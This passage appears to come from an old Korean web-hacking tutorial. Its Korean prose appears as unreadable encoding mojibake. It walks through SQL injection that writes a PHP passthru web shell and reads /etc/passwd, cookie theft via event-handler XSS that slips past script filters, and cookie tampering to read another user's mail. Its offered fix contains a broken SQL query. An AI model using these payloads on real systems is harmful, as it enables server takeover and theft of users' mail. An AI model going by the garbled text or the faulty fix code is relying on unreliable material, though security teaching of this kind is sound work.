SQL ¿¡´Â database ¿Í ±× ¾È¿¡ Á¸ÀçÇÏ´Â table ÀÌ ÀÖ´Ù. ¿¹Á¦·Î beist ¶ó´Â
database ÀÇ ttl À̶ó´Â table ¿¡ Á¢±ÙÇÏ´Â ¹æ¹ýÀ» ¾Ë¾Æº¸ÀÚ.

1 <?
2
3 $dbhost = "localhost";
4 $dbuser = "uesr1";
5 $dbpass = "passman";
6 $dbname = "beist";
7 $dbconn = mysql_connect($dbhost, $dbuser, $dbpass);
8 $sel = mysql_select_db($dbname, $dbconn);
9 $result = mysql_query("show tables", $dbconn);
10 $i=0;
11 while ($row=mysql_fetch_row($result)) {
12 echo "$row[$i]<br>";
13 $i++;
14 $i=0;
15 }
16
17 ?>

°£´ÜÇÑ ³»¿ëÀÌÁö¸¸ Àá½Ã ¹®¹ýÀ» »ìÆ캸°Ú´Ù. 3~6 ¹ø° ÁÙ±îÁö º¯¼ö Á¤ÀǸ¦
ÇÏ°í 7 ¹ø° ÁÙ¿¡¼­ mysql ¿¡ ¿¬°áÀ» ÇÏ¿´´Ù. 8 ¹ø° ÁÙ¿¡¼­ beist ¶ó´Â
database ¸¦ ¼±ÅÃÇÏ¿´°í, query ÀÇ ³»¿ëÀ» show tables ¶ó°í º¸³»¾ú´Âµ¥
ÀÌ ³»¿ëÀº beist ¶ó´Â database ¾È¿¡¼­ Á¸ÀçÇÏ´Â table µéÀ» º¸¿©´Þ¶ó´Â
À̾߱âÀÌ´Ù.

11 ¹ø° ÁÙºÎÅÍ´Â show tables query ¸¦ º¸³½ ÈÄ¿¡ ³ª¿Â °á°ú¸¦ »Ñ·ÁÁØ´Ù.

[°á°ú]
testta
secret
id1
tabtab
ttl
...........

ttl À̶ó´Â table ÀÌ º¸ÀδÙ. ÀÌ Á¤µµ·Î Database ¿¬µ¿ ¹æ¹ýÀ» °£´ÜÇÏ°Ô
¾Ë¾Æº¸¾Ò°í, ÀÌÁ¦ ½ÇÁúÀûÀÎ ÇØÅ· ¹æ¹ýÀ» ¾Ë¾Æº¸ÀÚ.

¾î¶² Board °¡ ÀÖ´Ù. Board ¿¡¼­´Â ƯÁ¤ ±ÛÀÇ µ¥ÀÌÅ͸¦ ¿äûÇÏ´Â ¹®¹ýÀ¸·Î

select * from freeboard where no=1

ÀÌ·± ½ÄÀ¸·Î Àü´ÞÇÑ´Ù. ÀÌ ¹®¹ýÀº freeboard table ¾È¿¡ ÀÖ´Â data Áß
no Çʵ尡 1 ÀÎ °ÍÀ» ¸ðµÎ ¾Ë·Á´Þ¶ó´Â ÀǹÌÀÌ´Ù. query ¸¦ ÇÑ ÈÄ °¡Á®¿Â
data ¿¡ ´ëÇؼ­´Â Á¤·ÄÀ̳ª ±âŸ ÇÊ¿äÇÑ ÀϵéÀ» ÇÑ ÈÄ¿¡ »ç¿ëÀÚ¿¡°Ô
¾Ë¸Â°Ô º¸¿©ÁÖ°Ô µÈ´Ù.

SQL ¿¡¼­ where Àý¿¡ ¾µ ¼ö ÀÖ´Â °ÍÀº or ¿Í and µîÀÌ ÀÖ´Ù. ¿¹¸¦ µé¾î¼­

select * from freeboard where no=1 or no=2

¶ó°í Àü´ÞÇϸé no °ªÀÌ 1 À̳ª 2 ÀÎ °ÍÀ» ¾Ë·Á´Þ¶ó°í ÇÏ´Â °ÍÀÌ´Ù. ´Ù½Ã
¸»ÇÏ¸é µÎ °³ÀÇ °ªÀ» µ¿½Ã¿¡ ¿äûÇÑ °ÍÀÌ´Ù.

ÀÌÁ¦ ½ÇÁ¦ CGI ¸¦ ¿¹·Î µé°í °ø°Ý ¹æ¹ýÀ» ¾Ë¾Æº¸ÀÚ.

Jsboard ¿¡¼­´Â Client °¡ ƯÁ¤ ±ÛÀ» ¿äûÇÒ¶§ ´ÙÀ½°ú °°Àº ¹®¹ýÀ¸·Î
°Ë»ç¸¦ ÇÑ´Ù.

$field0 = "*";
$field1 = "no";

SELECT $field0 FROM $table WHERE $field1 = $no

(¸¸¾à ÇØ´ç ±ÛÀÌ ¾øÀ¸¸é Error ¸Þ¼¼Áö¸¦ »Ñ·ÁÁÙ °ÍÀÌ´Ù.)

À§ÀÇ Query ¹®ÀÇ ±â´ÉÀº $no º¯¼ö¿¡ ¸Â´Â °ªÀ» ¿äûÇÏ´Â °ÍÀÌ´Ù. select
¹®ÀÇ where Àý¿¡¼­´Â into outfile À» ¾µ ¼ö°¡ ÀÖ´Ù.

¿¹¸¦ µé¾î¼­ database ¿¬°áÀ» °ÅÄ£ ÈÄ ´ÙÀ½°ú °°Àº query ¸¦ º¸³Â´Ù°í
ÇÏ¿©º¸ÀÚ.

select * from ttl where no=1 into outfile '/tmp/test1.txt';

¶ó°í Çϸé ttl table ¾È¿¡ ÀÖ´Â °ªÁß no=1 ÀÎ °ÍÀ» /tmp/test1.txt ·Î
ÀúÀåÇÑ´Ù´Â ¶æÀÌ µÈ´Ù. ¿ì¸®´Â into outfile À» ÀÌ¿ëÇؼ­ ¿©·¯ °¡Áö
hacking À» ½ÃµµÇÒ ¼ö°¡ ÀÖ´Ù.

¸ÕÀú Jsboard ¿¡ ±ÛÀ» ¾²ÀÚ. ±ÛÀÇ º»¹®¿¡

<?
passthru($beist);
?>

À§¿Í °°Àº ³»¿ëÀ» ½á¼­ Á¤»óÀûÀ¸·Î ±ÛÀ» ¿Ã¸®ÀÚ. ±×¸®°í ÀÚ½ÅÀÌ ¾´ ±ÛÀÌ
¸î¹øÀÇ no ¸¦ °¡Áö´ÂÁö ¾Ë¾Æº¸ÀÚ. ¸¸¾à no °¡ 444 ¶ó°í ÇÑ´Ù¸é ´ÙÀ½°ú
°°ÀÌ ¿äûÀ» ÇÏÀÚ.

http://server/jsboard/read.php?table=test&no=444 into outfile '/home/httpd/html/jsboard/data/test/files/test.php'

À§¿Í °°ÀÌ ¿äûÀ» ÇÏ¸é ½ÇÁ¦·Î´Â

select * from test where no=444 into outfile '/home/httpd/html/jsboard/data/test/files/test.php';

ÀÌ·¸°Ô Àü´ÞÀÌ µÉ °ÍÀÌ´Ù. 444 ¾È¿¡´Â passthru Function ÀÌ ´ã°ÜÀÖÀ¸´Ï
test.php ¸¦ ÀÌ¿ëÇÏ¿© ¿ì¸®´Â Server ¿¡ System Command ¸¦ ½ÇÇà½Ãų ¼ö
ÀÖÀ» °ÍÀÌ´Ù.

[¿äû]
http://server/jsboard/data/test/files/test.php?beist=cat /etc/passwd

[°á°ú]
root:*:0:0:root:/root:/usr/local/bin/bash
daemon:*:1:1:Owner of many system processes:/root:/sbin/nologin
operator:*:2:5:System &:/:/sbin/nologin
bin:*:3:7:Binaries Commands and Source,,,:/:/sbin/nologin
tty:*:4:65533:Tty Sandbox:/:/sbin/nologin
kmem:*:5:65533:KMem Sandbox:/:/sbin/nologin
................................

passwd ÆÄÀÏÀ» º¼¼ö ÀÖ´Ù.

À§ÀÇ °ø°Ý ¹æ¹ý¿¡´Â ´ÜÁ¡ÀÌ ÀÖ´Ù. À§ÀÇ °æ¿ì´Â php.ini ¿¡¼­ magic_quotes_
sybase ¸¦ Off ·Î Çصθé ' ³ª " ¾Õ¿¡ Escape ¹®ÀÚ°¡ ºÙ´Âµ¥ ÀÌ·¸°Ô µÇ¸é
Sql Qeury ½Ã¿¡ Error °¡ ³ª¼­ °ø°ÝÀÌ ¼º°øÇÏÁú ¾Ê´Â´Ù.

ÇÏÁö¸¸ ´Ù¾çÇÑ Query º¯Á¶¸¦ ½ÃµµÇÏ¿© ' ³ª " ¸¦ »ç¿ëÇÏÁö ¾Ê°íµµ Hacking
À» ÇÑ´Ù´øÁö, ¾Æ´Ï¸é ' ¿Í " ¾Õ¿¡ Escape ¹®ÀÚ°¡ ºÙÁö ¾Êµµ·Ï ÇÑ´Ù´øÁöÇÏ´Â
¹æ¹ýµîÀº ³ª¿À°Ô µÉ °ÍÀÌ´Ù.

²À À§ÀÇ ¹æ¹ý ¸»°íµµ ¿©·¯ °¡Áö ¹æ¹ýÀ¸·Î Data ¸¦ Á¶ÀÛÇϰųª System ¿¡
ÇÇÇظ¦ ÀÔÈ÷´Â ¹æ¹ýÀº ¸¹ÀÌ ÀÖÀ» °ÍÀÌ´Ù. ÀÌ ¹æ¹ýÀº Query º¯Á¶¸¦ ÀÌ¿ëÇÑ
°ø°ÝÀÇ ÇÑ°¡Áö ¹æ¹ýÀ» º¸¿©ÁØ °ÍÀÌ´Ù.

(asp ¿Í ms-sql ½ÃÀÇ ¿¬µ¿½Ã¿¡ Hacking Àº mysql °ú php ¿¬µ¿½Ãº¸´Ù Á¶±Ý
´õ À¯¿¬ÇÏ°í ÆíÇÏ°Ô ÇÒ ¼ö ÀÖ´Ù. ¿ø¸®´Â °°À¸¹Ç·Î ¼³¸íÇÏÁö ¾Ê°Ú´Ù.)

ÇØ°áÃ¥À» ¾Ë¾Æº¸ÀÚ.

À§ÀÇ °æ¿ì $no º¯¼ö¿¡ µé¾î°¥ °ªÀ» Check ÇØ¾ß ÇÒ °ÍÀÌ´Ù. $no º¯¼ö¿¡´Â
¼ýÀÚ ¸»°í ´Ù¸¥ º¯¼ö°¡ µé¾î°¥ ÀÌÀ¯°¡ ¾ø´Ù.

´ÙÀ½°ú °°ÀÌ $no ¿¡ ¿µ¹®ÀÚ°¡ µé¾î°¡ ÀÖ´ÂÁö °Ë»ç¸¦ ÇÏÀÚ.

if(eregi("^[a-z]", $no))
{
echo "no ¿¡´Â ¿µ¹®ÀÚ°¡ µé¾î°¥¼ö°¡ ¾ø½À´Ï´Ù.";
}

ÇÏÁö¸¸ ¾î¶² query ¿¡´Â ¿µ¹®ÀÚ°¡ µé¾î°¡¾ß ÇÏ´Â °æ¿ìµµ ÀÖÀ» °ÍÀÌ´Ù.
±×·² °æ¿ìÀÇ ´ëó ¹æ¹ýÀº query ¸¦ º¸³¾¶§ ' ¿Í " ¸¦ ÀÌ¿ëÇÏ º¯¼ö¸¦ ¹­´Â´Ù.

read.php

select * from test where no='$no'

¶ó°í ÇßÀ»¶§ read.php?no=1 or no=2 ¶ó°í ÀÔ·ÂÇÏ¿©µµ ½ÇÁ¦·Î´Â

select * from test where no='1 or no=2'

¶ó°í ÀԷµǴ °ÍÀÌ´Ù.

ÇÏÁö¸¸ ÀÌ ¹æ¹ýÀº magic_quotes_sybase °¡ On À¸·Î µÇ¾îÀÖÀ¸¸é

read.php?no=1' or no='2

ÀÌ·± ½ÄÀ¸·Î ¿äûÇÏ¸é ¹«¿ëÁö¹°ÀÌ µÈ´Ù.

±×·¸Áö¸¸ Off ·Î µÇ¾îÀÖÀ»¶§ ' ³ª " ·Î ¹­Áö ¾Ê´Â´Ù¸é Cracker °¡ ÀڷḦ
º¯Á¶ÇϱⰡ ´õ ½¬¿öÁú °ÍÀ̹ǷΠ¸ðµç Query ¹®ÀÇ º¯¼ö¿¡´Â ' ³ª " ·Î
¹­µµ·Ï ÇÏÀÚ.


/*
http://beist.org
beist@hanmail.net
wowcode at wowhacker team
*/
14) ¸ÞÀÏ ¼­ºñ½º ȸ»çÀÇ ¾Ë°í¸®Áò ¹®Á¦

À̹ø Àå¿¡¼­´Â ¸ÞÀÏ ¼­ºñ½º¸¦ ÇÏ´Â Site µéÀÇ À߸øµÈ ¾Ë°í¸®Áò »ç¿ëÀ¸·Î
ÀÎÇÑ Hacking Ãë¾à¼º¿¡ ´ëÇؼ­ ¾Ë¾Æº¸°Ú´Ù.

¸ÕÀú Hacking ¿¡ Ãë¾àÇÑ À߸øµÈ ¾Ë°í¸®Áò¿¡ ´ëÇؼ­ ¾Ë¾Æº¸±â Àü¿¡ Cookie
¸¦ ÈÉÃÄ¿À´Â ¶Ç ´Ù¸¥ ¹æ¹ý¿¡ ´ëÇؼ­ ¾Ë¾Æº¸ÀÚ.

Cookie Sniffing Àº ÇѶ§ Issue °¡ µÇ¾ú´ø Hacking ¹æ¹ýÀ¸·Î ´ëºÎºÐÀÇ
Æ÷Å» »çÀÌÆ®¿¡¼­ Cracker °¡ ¸¶À½¸¸ ¸ÔÀ¸¸é Cookie ¸¦ ´Ù¸¥ »ç¿ëÀڷκÎÅÍ
½±°Ô °¡Á®¿Ã ¼ö ÀÖ´Ù. º¸¾È°è¿¡ Issue °¡ µÇ°í ³ª¼­ Cookie Sniffing ¿¡
´ëÇÑ ´ëÃ¥À¸·Î ´ÙÀ½°ú °°Àº ¹æ¹ýÀÌ ³ª¿À°í, Site ³ª¸§´ë·Î Patch ¸¦
ÇÏ¿´´Ù.

1. Cookie Sniffing ¿¡ »ç¿ëµÇ´Â Java-script ¹®ÀÚ¿­À» ÇÊÅ͸µ ÇÑ´Ù.
2. <script> ¸¦ ÇÊÅ͸µ ÇÑ´Ù.
3. java-script ¸¦ ÇÊÅ͸µ ÇÑ´Ù.
4. ±âŸµîµî

(ÀϹÝÀûÀÎ Cookie Sniffing ¹æ¹ý¿¡ ´ëÇؼ­´Â 8 ¹ø ÀåÀ» Âü°íÇ϶ó)

À§¿Í °°Àº Á¶Ã븦 ÃëÇϸé ÀϹÝÀûÀÎ Cookie Sniffing Àº ÇÒ ¼ö ¾øÀ» °ÍÀÌ´Ù.
¿Ö³ÄÇÏ¸é ¿¹¸¦ µé¾î¼­

<script language=java-script> ¶ó´Â ¹®ÀÚ¿­ÀÌ

<x-script language=java-script> µîÀ¸·Î ¹Ù²î¾î¼­ »ç¿ëÀÚÀÇ Web Browser°¡
ÀÌ °ÍÀ» Java-script ¶ó°í ÀνÄÀ» ÇÏÁö ¸øÇϱ⠶§¹®ÀÌ´Ù.

ÇÏÁö¸¸ Script ´Â Script ÀÚ½ÅÀ» Java-Script ¶ó°í ¸í½Ã¸¦ ÇÏÁö ¾Ê¾Æµµ »ç¿ë
ÇÒ ¼ö ÀÖ´Â ¹æ¹ýÀÌ ÀÖÀ¸¸ç, ²À <script> ·Î ½ÃÀÛÇÏÁö ¾Ê¾Æµµ °¡´ÉÇÏ´Ù.

ù¹ø°¿¡´Â Visual Basic Script ÀÎ vbscript ¸¦ »ç¿ëÇÒ ¼ö ÀÖÀ¸¸ç µÎ¹ø°´Â
ÀϹÝÀûÀÎ html ÅÂ±× »çÀÌ¿¡ Java-Script ¸¦ ³¢¿ö ³ÖÀ¸¸é µÈ´Ù.

ù¹ø° ¹æ¹ýÀº <script> ¹®ÀÚ¿­À» ÇÊÅ͸µÇÏ´Ï <script language=vbscript>
ÀÌ·± ½ÄÀ¸·Î »ç¿ë ÇÒ¼ö°¡ ¾øÀ¸¹Ç·Î µÎ¹ø°¸¦ »ç¿ëÇÏ°Ú´Ù.

¾î¶² ½ÄÀ¸·Î °¡´ÉÇÑÁö »ìÆ캸ÀÚ.

<a href=tt.html o-nclick=alert("haha")>keke</a>

À§ÀÇ Å±״ tt.html À̶ó´Â ÆÄÀÏ¿¡ ´ëÇÑ Link ű×ÀÌ´Ù. ±×·±µ¥ Áß°£¿¡
º¸¸é o-nclick À̶ó´Â °ÍÀÌ ÀÖ´Ù. ÀÌ °ÍÀº Java-Script ÀÇ ÇÑ Á¾·ù·Î½á keke
¸¦ ¸¶¿ì½º·Î Ŭ¸¯ÇßÀ»¶§ haha ¶ó´Â ³»¿ëÀÇ Ã¢À» ¶ç¿ì°Ô µÈ´Ù.

¿©±â¼­ ºÐ¸íÈ÷ Java-script ¸¦ »ç¿ëÇßÁö¸¸ Java-script ¶ó°í ¸í½ÃÇÑ ÀûÀº
¾ø´Ù. ÀÎÅÍ³Ý ÀͽºÇ÷η¯´Â ±âº»ÀûÀ¸·Î »ç¿ëÇÒ Script ¿¡ ´ëÇÑ À̸§À»
Ưº°È÷ ¸í½ÃÇÏÁö ¾ÊÀ¸¸é ÀÚµ¿À¸·Î ÀνÄÇÑ´Ù. ±×·¡¼­ java-script ¶ó°í
¸í½Ã¸¦ ÇÏÁö ¾Ê¾Ò¾îµµ »ç¿ëÀÌ °¡´ÉÇß´ø °ÍÀÌ´Ù.

Cookie ¸¦ ´Ù¸¥ °÷À¸·Î Àü¼ÛÇÏ°í, ±×°ÍÀ» ÀúÀåÇÏ´Â ¹æ¹ýÀº 8 Àå¿¡ ´ëÇؼ­
ÀÚ¼¼È÷ ¼³¸íÀ» ÇÏ¿´À¸´Ï ÀÌ ¹æ¹ý¿¡ ±×°ÍÀ» ÀÀ¿ëÇϸé Cookie Sniffing Àº
¾î·ÆÁö ¾Ê°Ô °¡´ÉÇÒ °ÍÀÌ´Ù.

Java-script ¿¡´Â O-nclick ¸»°íµµ, On-MouseMove, On-load, OnUnload µî
¿©·¯°¡Áö Action ÀÌ ¸¹±â ¶§¹®¿¡ HTML ű׿¡ ¸ÂÃ߾ ¾Ë¸Â°Ô ³Ö´Â´Ù¸é
Cracker ´Â ½±°Ô »ç¿ëÀÚÀÇ Cookie ¸¦ °¡Á®¿Ã ¼ö°¡ ÀÖ´Ù.

ÀÌÁ¦ Cookie Sniffing ¿¡ ´ëÇÑ ³»¿ëÀº Á¢µµ·Ï ÇÏ°í, ÀÌ ÀåÀÇ °¡Àå Áß¿äÇÑ
³»¿ëÀÎ ¸ÞÀÏ ¼­ºñ½º CGI ÀÇ ¾Ë°í¸®Áò Ãë¾à¼º¿¡ ´ëÇؼ­ ¾Ë¾Æº¸ÀÚ.

¸¹Àº Mail CGI ¿¡¼­ Cookie ¸¦ ´Ù·ê ¶§ À߸øµÈ ¹æ½ÄÀ» ´Ù·ï ½É°¢ÇÑ
Security Hole À» ¸¸µé¾î ³½´Ù.

ÀϹÝÀûÀ¸·Î »ç¿ëÀÚ°¡ ¸ÞÀÏ CGI ¸¦ ÀÌ¿ëÇϱâ À§ÇØ Login ÇÏ°í, ±×°ÍÀ»
ÀÌ¿ëÇÏ´Â ÀýÂ÷¸¦ ¾Ë¾Æº¸¸é,

1. Mail Site Á¢¼Ó
2. Login ½Ãµµ
3. Server ¿¡¼­ ID, PASSWORD °¡ ¸Â´ÂÁö È®ÀÎ
4. ¸Â´Ù¸é »ç¿ëÀÚÀÇ Browser ¿¡ Cookie ¸¦ ¼¼ÆÃÇÔ

Server ¿¡¼­ Browser ¿¡ ¼¼ÆÃÇÑ Cookie ´öºÐ¿¡ »çÀÌÆ®ÀÇ ¾î¶² ÆäÀÌÁö¸¦
ÀÐÀ» ¶§¸¶´Ù Login À» ÇؾßÇÏ´Â ¼ö°í¸¦ ´úÀ» ¼ö ÀÖ´Â °ÍÀÌ´Ù.

¸ÕÀú, Server ¿¡¼­ Client ÀÇ Web Browser ¿¡ ¼¼ÆÃÇÏ´Â Cookie °ªÀÌ
´ÙÀ½°ú °°´Ù°í ÇÏÀÚ.

id=beist; pw=ttl; mail_home=/mailserver1/b/beist

»ç¿ëÀÚ°¡ À§ÀÇ Cookie °ªÀ» ¹Þ°í, ÆíÁö Àб⸦ ½ÃµµÇÑ´Ù°í °¡Á¤ÇÏ¿´À»¶§
Server ´Â Client ÀÇ Cookie ¸¦ Àоî¿Í¼­, id ¿Í pw °¡ ¸Â´ÂÁö, ±×¸®°í
mail_home °ªÀ» °¡Á®¿Í¼­ ÇØ´ç µð·ºÅ丮¿¡ ¸Â°Ô ÆíÁöµéÀ» º¸¿©ÁØ´Ù.

mail.php

1 <?
2
3 $id=$HTTP_COOKIE_VARS[id];
4 $pw=$HTTP_COOKIE_VARS[pw];
5 $mail_home=$HTTP_COOKIE_VARS[mail_home];
6
7 $conn=mysql_connect("localhost", "maildb", "mailpw");
8 mysql_select_db("maildb", $conn);
9 $temp=mysql_fetch_array(mysql_query("select * from now_connect where ID='$id' and PW='$pw'"));
10
11 if(!$temp[0])
12 {
13 echo "·Î±×ÀÎ Á¦´ë·Î Çضó ´Ï ÄíÅ°°ªÀº ³» ¼­¹ö¿¡ ¾ø´Âµ¥??";
14 exit;
15 }
16
17 system("ls -al $mail_home");
18 ?>

ÀÌÇظ¦ µ½±â À§ÇØ À§ Script ´Â Àӽ÷Π¸¸µç °ÍÀÌ´Ù. Client °¡ ÀüÇØ¿Â
Cookie °ªÀ» °¡Á®¿À°í now_connect table ¿¡ Cookie °ª¿¡ ¸Â´Â »ç¿ëÀÚ°¡
ÀÖ´ÂÁö È®ÀÎÇÑ´Ù. ¸¸¾à ¾ø´Ù¸é, Script ½ÇÇàÀ» ÁßÁöÇÒ °ÍÀÌ´Ù.

Á¤»óÀûÀÎ »ç¿ëÀÚ¶ó¸é system ÇÔ¼ö¸¦ ÀÌ¿ëÇÏ¿© Client °¡ ÀüÇØ¿Â mail_home
ÄíÅ°°ªÀ» ls ÇÑ´Ù.

(mail_home Directory ¹Ø¿¡´Â »ç¿ëÀÚÀÇ ÆíÁö°¡ ´ã°ÜÀÖ´Ù°í °¡Á¤ÇÑ´Ù.)

½ÇÁ¦·Î Cookie °¡ Server ¿¡ ¾î¶² ½ÄÀ¸·Î Àü´ÞÀÌ µÇ´ÂÁö ¾Ë¾Æº¸¸é

[¿äû]
$ telnet server 80
Trying server...
Connected to server.
Escape character is '^]'.
get http://server/mail.php HTTP/1.0
Cookie: id=beist; pw=ttl; mail_home=/mailserver1/b/beist

[°á°ú]
1. yo! man!
2. [±¤°í] ³ëÆ®ºÏ 10 ¿ø!
3. [±¤°í] º¥Ã÷°¡ 10 ¿ø! ¼±Âø¼ø õ¸¸¸í!
4. [´º½º] 2002 ÇÑÀÏ¿ùµåÄÅ ¿ì½Â-Çѱ¹. MVP ´Â È«¸íº¸
5. [´º½º] CF ¸ðµ¨ ÀÓÀº°æ. À̽ÂÁøÀ̶ó´Â °í±³»ý°ú ½ºÄµµé

(½ÇÁ¦ Mail CGI ÀÇ ¼Ò½º´Â ÀÌ·¸Áö ¾ÊÁö¸¸ ¿©±â¼­´Â ÃÖ´ëÇÑ °£°áÈ­Çß´Ù.)

¿©±â¼­ Ãë¾à¼ºÀÌ Á¸ÀçÇÑ´Ù. ÀÏ´Ü id ¿Í pw ¸¸ Á¤»óÀûÀ¸·Î ÀÎÁõÀ» ÇÑ´Ù¸é
mail_home Àº Client °¡ º¸³»ÁÖ´Â data ´Â ÀüÀûÀ¸·Î ½Å·ÚÇÏ´Â °ÍÀÌ´Ù.
±×·¡¼­ ¿©±â¼­´Â ttl À̶ó´Â °¡»óÀÇ °èÁ¤À» Çϳª ´õ ¸¸µé¾ú°í ÄíÅ°°ªÀº
´ÙÀ½°ú °°´Ù.

id=ttl; pw=beist; mail_home=/mailserver1/t/ttl

beist ¶ó´Â °èÁ¤À» °¡Áø Cracker °¡ ttl À̶ó´Â °èÁ¤À» °¡Áø »ç¿ëÀÚÀÇ
e-mail À» ÈÉÃÄÀд ¹æ¹ýÀº ´ÙÀ½°ú °°´Ù.

[¿äû]
$ telnet server 80
Trying server...
Connected to server.
Escape character is '^]'.
get http://server/mail.php HTTP/1.0
Cookie: id=beist; pw=ttl; mail_home=/mailserver1/t/ttl

[°á°ú]
1. ÀÓÀº°æ ´©³ª ³Ê¹« ±Í¿©¿ö¿ä
2. Àº°æ¾Æ ³ª ¸Å´ÏÀú´Ù
3. [±¤°í] 50 ¾ïÀ» ¹ú ¼ö ÀÖ½À´Ï´Ù
4. [±¤°í] 40 ¾ïÀ» ¹ú ¼ö ÀÖ½À´Ï´Ù
5. [´º½º] 2002 ÇÑÀÏ¿ùµåÄÅ ¿ì½Â-Çѱ¹. MVP ´Â È«¸íº¸

ºÐ¸íÈ÷ id ´Â beist ·Î ³Ö¾úÁö¸¸ °á°ú´Â ttl À̶ó´Â °èÁ¤À» °¡Áø »ç¿ëÀÚÀÇ
¸ÞÀÏ·Î ³ª¿À°Ô µÇ¾ú´Ù. ÀÌÀ¯´Â Cracker °¡ mail_home cooke ¸¦ º¸³¾¶§
ÀÚ½ÅÀÇ Cookie °¡ ¾Æ´Ñ ttl °èÁ¤ÀÇ Cookie ¸¦ º¸³»¾ú±â ¶§¹®ÀÌ´Ù.

mail.php ¿¡¼­ »ç¿ëÀÚÀÇ id ¿Í password °¡ ¿Ã¹Ù¸¥Áö °Ë»ç¸¦ Çϱä ÇÏÁö¸¸
»ç¿ëÀÚ°¡ º¸³»¿Â mail_home cookie ¸¦ °¡Áö°í ¸ÞÀÏ ¸®½ºÆ®¸¦ »Ñ·ÁÁִϱî
ÀϾ Ãë¾à¼ºÀÌ´Ù.

mail_home °æ·Î¸¦ ¾Ë¾Æ³»´Â ¹æ¹ý¿¡ ´ëÇؼ­.

mail_home ÀÇ °æ·Î´Â ¸ÞÀÏ ¼­ºñ½º ȸ»ç¸¶´Ù ´Ù¸£°Ô ó¸®ÇÑ´Ù. ¾î¶² °÷Àº
À§¿¡¼­ ¼³¸íÇÑ ¿¹¿Í °°ÀÌ °£´ÜÇÑ °æ·Î¸¦ »ç¿ëÇÏ¿© Cracker °¡ ½±°Ô À¯Ãß
ÇÒ¼ö ÀÖÁö¸¸ ¾î¶² °÷Àº º¹ÀâÇÑ ¹æ¹ýÀ» »ç¿ëÇϱ⵵ ÇÑ´Ù. (ÇÏÁö¸¸ brute
force ¸¦ ½ÃµµÇغ¼¸¸ÇÏ´Ù. ´ëºÎºÐÀÇ °æ¿ìÀÇ ¼ö°¡ õ¹®ÇÐÀûÀÎ ´ÜÀ§°¡
¾Æ´ÏÀ̱⠶§¹®ÀÌ´Ù.) °¡Àå ÆíÇÑ ¹æ¹ýÀº Cookie Sniffing À¸·Î »©¿À´Â
°ÍÀε¥, Çѹø¸¸ °¡Á®¿Â´Ù¸é Cookie ¸¦ µµµÏ¸ÂÀº »ç¿ëÀÚ°¡ ¾Æ¹«¸® ºñ¹Ð¹øÈ£¸¦
¹Ù²Ù¾îµµ Cracker ´Â Æò»ý ±× »ç¿ëÀÚÀÇ mail À» ÀÐÀ» ¼ö ÀÖÀ» °ÍÀÌ´Ù.

ÇØ°áÃ¥À» ¾Ë¾Æº¸ÀÚ.

ÀÌ¿¡ ´ëÇÑ ÇØ°áÃ¥Àº mail_home À» now_connect table ¿¡ ³Ö´Â °ÍÀÌ´Ù.
±×·¡¼­ ¸Å ÆäÀÌÁö¸¶´Ù ÀÎÁõÀ» Çҽÿ¡ id, pw, mail_home ÀÌ °°ÀÌ ÀÏÄ¡ÇÏ´Â
Á¤º¸°¡ ¾øÀ¸¸é ¿Ã¹Ù¸£Áö ¾ÊÀº »ç¿ëÀÚ·Î °£ÁÖÇÏ´Â °ÍÀÌ´Ù.

1 <?
2
3 $id=$HTTP_COOKIE_VARS[id];
4 $pw=$HTTP_COOKIE_VARS[pw];
5 $mail_home=$HTTP_COOKIE_VARS[mail_home];
6
7 $conn=mysql_connect("localhost", "maildb", "mailpw");
8 mysql_select_db("maildb", $conn);
9 $temp=mysql_fetch_array(mysql_query("select * from now_connect where ID='$id' and PW='$pw' and mail_home'$mail_home'"));
10
11 if(!$temp[0])
12 {
13 echo "·Î±×ÀÎ Á¦´ë·Î Çضó ´Ï ÄíÅ°°ªÀº ³» ¼­¹ö¿¡ ¾ø´Âµ¥??";
14 exit;
15 }
16
17 system("ls -al $mail_home");
18 ?>

¹°·Ð À§ ¹æ¹ýÀ» »ç¿ëÇϱâ Àü¿¡ now_connect ¿¡ mail_home Çʵ带 ¸¸µé°í,
login ½Ã¿¡ mail_home µ¥ÀÌÅ͸¦ ³Ö´Â Ãß°¡ °úÁ¤ÀÌ ÇÊ¿äÇÏ°ÚÁö¸¸ ¿©±â¼­ÀÇ
¼³¸íÀº ºÒÇÊ¿äÇϹǷΠÁ¢°Ú´Ù.

±×¸®°í, À§ ¹æ¹ý¸»°í Session À» È°¿ëÇÏ´Â ¹æ¹ýµµ ±¦ÂúÀ» °ÍÀÌ´Ù.



/*
http://beist.org
beist@hanmail.net
wowcode at wowhacker team
*/
15) include »ç¿ëÁö ÁÖÀÇÇÒÁ¡, ±âŸ º¸¾È°ü·Ã ÁÖÀÇÇÒÁ¡

ÀÌÁ¦ ¸¶Áö¸· ÀåÀÌ´Ù. À¥ ÇÁ·Î±×·¡¹Ö ½Ã À߸øµÈ ¾Ë°í¸®Áò »ç¿ëÀ¸·Î ÀÎÇÑ
Ãë¾à¼ºÀ̳ª ±×¿Í À¯»çÇÑ °á°ú·Î ÀÎÇØ ÀϾ´Â Ãë¾à¼ºÀº ¾Ë¾Æº¸¾Ò´Ù.
À̹ø Àå¿¡¼­´Â ¸î°¡Áö ´õ °£´ÜÇÑ º¸¾È Ãë¾à¼º¿¡ ´ëÇؼ­ ¾Ë¾Æº¸°í À¥
ÇÁ·Î±×·¡¹Ö°ú´Â Á¶±Ý »ó°üÀÌ ¾ø´Â ³»¿ëµµ ´Ù·ç°Ú´Ù.

¸ÕÀú ù¹ø° ¾Ë°í¸®Áò Ãë¾à¼º¿¡ ´ëÇؼ­ ¾Ë¾Æº¸ÀÚ. include ÇÔ¼ö¸¦ ¾Ë
°ÍÀÌ´Ù. include ÇÔ¼ö´Â ÇÁ·Î±×·¡¸Ó°¡ ÁöÁ¤ÇÑ Æ¯Á¤ file À» ¼Ò½º¿¡
Æ÷ÇÔ½ÃÅ°´Â ÇÔ¼öÀÌ´Ù. ¿¹¸¦ µé¾î

test.php

<?

include "test.txt";

?>

¶ó´Â ¼Ò½º°¡ ÀÖ´Ù¸é test.txt ¶ó´Â file À» test.php ¿¡ Æ÷ÇÔ½ÃÄѼ­
»ç¿ëÀÚ¿¡°Ô º¸¿©ÁØ´Ù. ¿©±â¼­ º¸Åë ´ÙÀ½°ú °°Àº ¹®¹ýÀ» ¸¹ÀÌ ¾´´Ù.

vul.php

<?

include "$table";

/* »ý·« */

echo "<br><br>Å×½ºÆ® ÁßÀÔ´Ï´Ù. ^^";

?>

À§´Â º¸Åë °Ô½ÃÆÇÀ̳ª ¾î¶² °´Ã¼ÀûÀÎ °³³äÀÌ µé¾î°¡´Â ÇÁ·Î±×·¡¹ÖÀ» ÇÒ ½Ã¿¡
